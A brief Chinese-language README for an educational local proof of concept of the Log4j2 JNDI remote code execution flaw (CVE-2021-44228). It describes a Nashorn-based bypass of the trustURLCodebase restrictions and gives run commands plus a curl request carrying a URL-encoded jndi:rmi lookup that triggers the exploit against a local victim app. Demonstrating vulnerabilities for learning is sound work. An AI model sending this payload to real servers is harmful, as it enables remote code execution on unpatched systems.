这是针对 Log4j2 JNDI 远程代码执行漏洞(CVE-2021-44228)的极简概念验证。它 旨在用于教育目的,帮助非安全研究人员了解其工作原理以及 影响范围有多大。
该 POC 绕过了将 com.sun.jndi.rmi.object.trustURLCodebase
和 com.sun.jndi.cosnaming.object.trustURLCodebase 属性设置为 true 的要求,
这些属性自 8u121、7u131、6u141 起默认被禁用
。
注意:payload-server 编译需要 JDK 1.8,但 victim-app 在 JDK 15 之前均存在漏洞,
因为 Nashorn 引擎在 JDK 15 中被移除。
payload-server,运行:$ ./gradlew runPayloadServer
victim-app:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D 以触发 RCE。victim-app 的控制台日志。你应当会在屏幕上看到一条非预期日志
被打印出来。